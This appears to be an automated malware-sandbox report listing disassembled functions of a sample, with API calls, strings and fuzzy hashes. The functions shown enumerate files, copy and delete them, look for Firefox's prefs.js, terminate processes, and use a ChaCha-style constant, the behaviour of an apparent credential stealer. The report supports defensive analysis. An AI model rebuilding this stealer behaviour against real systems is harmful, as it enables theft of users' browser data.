Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*$P2Mw$`Q~$1Mw
API String ID: 180737720-2766943104
Opcode ID: 0d69fd1922c837ae1fe1cb5ead8f1a584d0d264dae9f0b0c338d462449df3160
Instruction ID: d58f243a0e81953373eaf00141ed8e3e8bc28467f540fc5aad09a1a01b74b281
Opcode Fuzzy Hash: 0d69fd1922c837ae1fe1cb5ead8f1a584d0d264dae9f0b0c338d462449df3160
Instruction Fuzzy Hash: 79E16371A121189ADB14FB61DC62EEE7339AF50314F4045EEB10A62092EF386BD9CF59

Function 0040E530 Relevance: 21.5, APIs: 4, Strings: 8, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D79), ref: 0040E5A2
StrCmpCA.SHLWAPI(?,004215F0), ref: 0040E5F2
StrCmpCA.SHLWAPI(?,004215F4), ref: 0040E608
FindNextFileA.KERNEL32(000000FF,?), ref: 0040ECDF

Strings

P2Mw, xrefs: 0040ECDF
X]~, xrefs: 0040E94D
xT~, xrefs: 0040E687, 0040E69C
X^~, xrefs: 0040E833
@, xrefs: 0040ECF5, 0040E6EB, 0040E81C, 0040E95B, 0040E5B9, 0040E6EE, 0040E81F, 0040E95E
\*.*, xrefs: 0040E54D
8\~, xrefs: 0040E966
1Mw, xrefs: 0040E5A2

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: 8\~$P2Mw$X]~$X^~$\*.*$xT~$1Mw$@
API String ID: 433455689-3479494310
Opcode ID: b7e398865fffd5d63cca01761f8db30f55f042c2631281f1488ba196dbaa87df
Instruction ID: 078a0cb4b8b1302ba7a9d85fb6124db0b21cd0ebb254cebb7c4a92464ee22dab
Opcode Fuzzy Hash: b7e398865fffd5d63cca01761f8db30f55f042c2631281f1488ba196dbaa87df
Instruction Fuzzy Hash: A6128431A111185BCB14FB61DCA6EED7339AF54314F4045EFB10A62095EF386F98CB9A

Function 0040F7B0 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004216B0,00420D97), ref: 0040F81E
StrCmpCA.SHLWAPI(?,004216B4), ref: 0040F86F
StrCmpCA.SHLWAPI(?,004216B8), ref: 0040F885
FindNextFileA.KERNEL32(000000FF,?), ref: 0040FBB1
FindClose.KERNEL32(000000FF), ref: 0040FBC3

Strings

`Q~, xrefs: 0040F93C
P2Mw, xrefs: 0040FBB1
prefs.js, xrefs: 0040F912
1Mw, xrefs: 0040F81E

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: P2Mw$`Q~$prefs.js$1Mw
API String ID: 3334442632-3305034484
Opcode ID: df85ab5009760b49aece2afe94c702c01ad0e113d4dfe6ab53af867afa564eb4
Instruction ID: 41002e5bbb8aa5eaa1de2a73ae7baa64e6dc855d43d68c47d205a656f8df75cd
Opcode Fuzzy Hash: df85ab5009760b49aece2afe94c702c01ad0e113d4dfe6ab53af867afa564eb4
Instruction Fuzzy Hash: 84B19371A011089BCB24FF61DC96FEE7379AF54304F0045AEA50A57191EF386B98CF9A

Function 00401710 Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042523C,?,00401F6C,?,004252E4,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,0042538C), ref: 004019B3
StrCmpCA.SHLWAPI(?,00425434), ref: 004019C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D80
DeleteFileA.KERNEL32(00000000), ref: 00401E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Strings

`Q~, xrefs: 00401D1A
\*.*, xrefs: 00401831
P2Mw, xrefs: 00401E60
1Mw, xrefs: 00401963

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: P2Mw$\*.*$`Q~$1Mw
API String ID: 1415058207-236434377
Opcode ID: 19e55f5031679282cb58dafd3a6a262819f5a62c024e4f6d24ce6b519b6d86b7
Instruction ID: df326988fd69e0da1611ef2be43153edb0d5c51867ec3eea105421fd5dfb977f
Opcode Fuzzy Hash: 19e55f5031679282cb58dafd3a6a262819f5a62c024e4f6d24ce6b519b6d86b7
Instruction Fuzzy Hash: F5125171A111189BCB15FB61DCA6EEE7339AF14314F4045EEB10662091EF386BD8CFA9

Function 0040DB80 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215A8,00420BAF), ref: 0040DBEB
StrCmpCA.SHLWAPI(?,004215AC), ref: 0040DC33
StrCmpCA.SHLWAPI(?,004215B0), ref: 0040DC49
FindNextFileA.KERNEL32(000000FF,?), ref: 0040DECC
FindClose.KERNEL32(000000FF), ref: 0040DEDE

Strings

P2Mw, xrefs: 0040DECC
1Mw, xrefs: 0040DBEB

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: P2Mw$1Mw
API String ID: 3334442632-4178027838
Opcode ID: e3fcceba7528c05a210ffe7a47b230832dc6bb3dcc8c74d7d9835365f06576cb
Instruction ID: c85deeef17d72a94dc1f170446f25d55197e78b42259dde6f56d7dfc7a2e5770
Opcode Fuzzy Hash: e3fcceba7528c05a210ffe7a47b230832dc6bb3dcc8c74d7d9835365f06576cb
Instruction Fuzzy Hash: 40917572A001049BCB14FBB1ED96DED733DAF84344F00456EF90666185EE38AB5CCB9A

Function 024A4357 Relevance: 18.1, APIs: 12, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 024A437A
FindFirstFileA.KERNEL32(?,?), ref: 024A4391
StrCmpCA.SHLWAPI(?,00420F94), ref: 024A43BF
StrCmpCA.SHLWAPI(?,00420F98), ref: 024A43D5
FindNextFileA.KERNEL32(000000FF,?), ref: 024A4523
FindClose.KERNEL32(000000FF), ref: 024A4538

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: ac94dde27fa3a8b2d1992181d9aeba8d94f37141b24e2c59e50ce182db00ab73
Instruction ID: 5771316bf0ccdd59403c110c151a95200531b11723325236d6c1ce08134d5038
Opcode Fuzzy Hash: ac94dde27fa3a8b2d1992181d9aeba8d94f37141b24e2c59e50ce182db00ab73
Instruction Fuzzy Hash: 195186B1904218ABCB24EB70DD94EEE737DBF68300F4046CEB64996050EBB59B89CF51

Function 0249F087 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0249F0A5
FindFirstFileA.KERNEL32(?,?), ref: 0249F0BC
StrCmpCA.SHLWAPI(?,00421630), ref: 0249F112
StrCmpCA.SHLWAPI(?,00421634), ref: 0249F128
FindNextFileA.KERNEL32(000000FF,?), ref: 0249F615
FindClose.KERNEL32(000000FF), ref: 0249F62A

Strings

`Q~, xrefs: 0249F44F, 0249F455

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: `Q~
API String ID: 180737720-2743804444
Opcode ID: 922fd519c71b6af3ccb31eb3f6638551c52bf54377e7cc35e7fa9b6b37ebfbe3
Instruction ID: d316d1f3aae3225d505297d91245869d098534bbda78393ac73422d8e8c02d92
Opcode Fuzzy Hash: 922fd519c71b6af3ccb31eb3f6638551c52bf54377e7cc35e7fa9b6b37ebfbe3
Instruction Fuzzy Hash: A3E1D1B29012289BDB59FB61DC65EEE733AAF64301F4045EEE54A62091EF305F89CF50

Function 024CF4FF Relevance: 17.4, Strings: 13, Instructions: 1151COMMON

Download Yara Rule

Strings

2-byexpa, xrefs: 024CF7BC
te k, xrefs: 024CF81B
expa, xrefs: 024CF8C8
2-by, xrefs: 024CF7D5
te knd 3expand 32-by, xrefs: 024CF7B5
expand 32-by, xrefs: 024CF82F
2-by, xrefs: 024CF55D
te k, xrefs: 024CF9A5
expand 3, xrefs: 024CF94C
nd 3, xrefs: 024CF57E
expa, xrefs: 024CFA22
nd 32-by, xrefs: 024CF91B
te k, xrefs: 024CF7AE

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID:
String ID: 2-by$2-by$2-byexpa$expa$expa$expand 3$expand 32-by$nd 3$nd 32-by$te k$te k$te k$te knd 3expand 32-by
API String ID: 0-1562099544
Opcode ID: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction ID: f1651be57523b800ce88851aa0b973f57b4dd9d5921924dc74d14a465ac9b90f
Opcode Fuzzy Hash: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction Fuzzy Hash: A2E276B09083808FD7A4CF29C580B8BFBE1BFC8354F51892EE99997211D770A959CF56

Function 0249E177 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,004215B8,00420C32), ref: 0249E1C5
StrCmpCA.SHLWAPI(?,004215C0), ref: 0249E215
StrCmpCA.SHLWAPI(?,004215C4), ref: 0249E22B
FindNextFileA.KERNEL32(000000FF,?), ref: 0249E747
FindClose.KERNEL32(000000FF), ref: 0249E759

Strings

X^~, xrefs: 0249E4E3, 0249E4E9
`Q~, xrefs: 0249E5E1, 0249E5E6

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: X^~$`Q~
API String ID: 2325840235-2393541856
Opcode ID: 331afb331abdd3764059b67a16730e5bc1ed144ae4cc64f7786a3dfac513c809
Instruction ID: 53cb4841ca80ccc5833009d1c9f33df88bae7b43096a98d0cd825de1a3af0f30
Opcode Fuzzy Hash: 331afb331abdd3764059b67a16730e5bc1ed144ae4cc64f7786a3dfac513c809
Instruction Fuzzy Hash: 8EF18FB19552389BCB19EB61DCA4EEE7336AF74701F8045DF905A62090EF305F89CE50

Function 0249FA17 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004216B0,00420D97), ref: 0249FA85
StrCmpCA.SHLWAPI(?,004216B4), ref: 0249FAD6
StrCmpCA.SHLWAPI(?,004216B8), ref: 0249FAEC
FindNextFileA.KERNEL32(000000FF,?), ref: 0249FE18
FindClose.KERNEL32(000000FF), ref: 0249FE2A

Strings

`Q~, xrefs: 0249FBA3, 0249FBA8

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: `Q~
API String ID: 3334442632-2743804444
Opcode ID: 20d2439061f2986c118ea83818572df10c4fe56ef9868c5e75f33f4f1b478f52
Instruction ID: 1eea9b2082ac7dd08a7dee11398c91377d612427990d4bc2f2fc53b18c1d5aac
Opcode Fuzzy Hash: 20d2439061f2986c118ea83818572df10c4fe56ef9868c5e75f33f4f1b478f52
Instruction Fuzzy Hash: 8FB132719002289BCF28FF61DCA5EEE777AAF64300F5085AED44A96150EF315B49CF91

Function 0249E797 Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215E8,00420D79), ref: 0249E809
StrCmpCA.SHLWAPI(?,004215F0), ref: 0249E859
StrCmpCA.SHLWAPI(?,004215F4), ref: 0249E86F
FindNextFileA.KERNEL32(000000FF,?), ref: 0249EF46

Strings

8\~, xrefs: 0249EBCD, 0249EBD2
X^~, xrefs: 0249EA9A, 0249EA9F
X]~, xrefs: 0249EBB4, 0249EBBA
xT~, xrefs: 0249E8EE, 0249E8F3, 0249E903, 0249E909

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: 8\~$X]~$X^~$xT~
API String ID: 433455689-896054483
Opcode ID: f2c5642d96243640a0ff45e34ac7c9947fdf93cb12fee13133c104cf864f9802
Instruction ID: f23e9305d4899660e6e37c85a053bcbfaee5eed589c46017d582d088b06e5b49
Opcode Fuzzy Hash: f2c5642d96243640a0ff45e34ac7c9947fdf93cb12fee13133c104cf864f9802
Instruction Fuzzy Hash: EA12FEB2A012289BCB18FB61DCA5EED737AAF64301F4045AFE54A56090EF345F48CF91

Function 02491977 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042523C,?,?,?,004252E4,?,?,00000000,?,00000000), ref: 02491BCA
StrCmpCA.SHLWAPI(?,0042538C), ref: 02491C1A
StrCmpCA.SHLWAPI(?,00425434), ref: 02491C30
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 02491FE7
DeleteFileA.KERNEL32(00000000), ref: 02492071
FindNextFileA.KERNEL32(000000FF,?), ref: 024920C7
FindClose.KERNEL32(000000FF), ref: 024920D9

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

Strings

`Q~, xrefs: 02491F81, 02491F86

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: `Q~
API String ID: 1415058207-2743804444
Opcode ID: b85232a698949c79e4680004d1e76e0f04a31e92f8088ffb748d566cac29b108
Instruction ID: d2b6b7d4716c2e0521b6eac9784dc874b5402ab1ae3979dbe841659582c99069
Opcode Fuzzy Hash: b85232a698949c79e4680004d1e76e0f04a31e92f8088ffb748d566cac29b108
Instruction Fuzzy Hash: D312E3B19412289BCB19FB61DC64EEE777AAF64301F4045EEE54A66090EF706F88CF50

Function 0249DDE7 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 024AAE97: lstrcpy.KERNEL32(00000000,?), ref: 024AAEE9
Part of subcall function 024AAE97: lstrcat.KERNEL32(00000000), ref: 024AAEF9

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215A8,00420BAF), ref: 0249DE52
StrCmpCA.SHLWAPI(?,004215AC), ref: 0249DE9A
StrCmpCA.SHLWAPI(?,004215B0), ref: 0249DEB0
FindNextFileA.KERNEL32(000000FF,?), ref: 0249E133
FindClose.KERNEL32(000000FF), ref: 0249E145

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 9542da5adebdb47cc6cff0dfe2dad098e23cc50c49b1f7ea439975f769b5948d
Instruction ID: 6493f052c12517a2624f85bfaa101221fb5af5ccaa106953c9fabdad67296ccc
Opcode Fuzzy Hash: 9542da5adebdb47cc6cff0dfe2dad098e23cc50c49b1f7ea439975f769b5948d
Instruction Fuzzy Hash: 00911572A002149BCF14FBB1ED65DEE777AAFA5301F0045AFE88A56150EE349B48CF91

Function 024A9B47 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 024A9B6C
Process32First.KERNEL32(0249A245,00000128), ref: 024A9B80
Process32Next.KERNEL32(0249A245,00000128), ref: 024A9B95
StrCmpCA.SHLWAPI(?,0249A245), ref: 024A9BAA
OpenProcess.KERNEL32(00000001,00000000,?), ref: 024A9BC3
TerminateProcess.KERNEL32(00000000,00000000), ref: 024A9BE1
CloseHandle.KERNEL32(00000000), ref: 024A9BEE
CloseHandle.KERNEL32(0249A245), ref: 024A9BFA

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 70d4dbc2df0c449e42b531910b7457683d7e33f1b1efd4492f1c83a3618bacdf
Instruction ID: ff4867627aa8c694cff730c8f90414b6e08621c41ae81aa7b8a26bfc7c55ea50
Opcode Fuzzy Hash: 70d4dbc2df0c449e42b531910b7457683d7e33f1b1efd4492f1c83a3618bacdf
Instruction Fuzzy Hash: 2F112E75E05218EBCB24DFA5DC98BDEB7B9BB48704F008589F509A6280EB349B84CF51

Function 004198E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00419905
Process32First.KERNEL32(00409FDE,00000128), ref: 00419919
Process32Next.KERNEL32(00409FDE,00000128), ref: 0041992E
StrCmpCA.SHLWAPI(?,00409FDE), ref: 00419943
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0041995C
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041997A
CloseHandle.KERNEL32(00000000), ref: 00419987
CloseHandle.KERNEL32(00409FDE), ref: 00419993

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 70d4dbc2df0c449e42b531910b7457683d7e33f1b1efd4492f1c83a3618bacdf
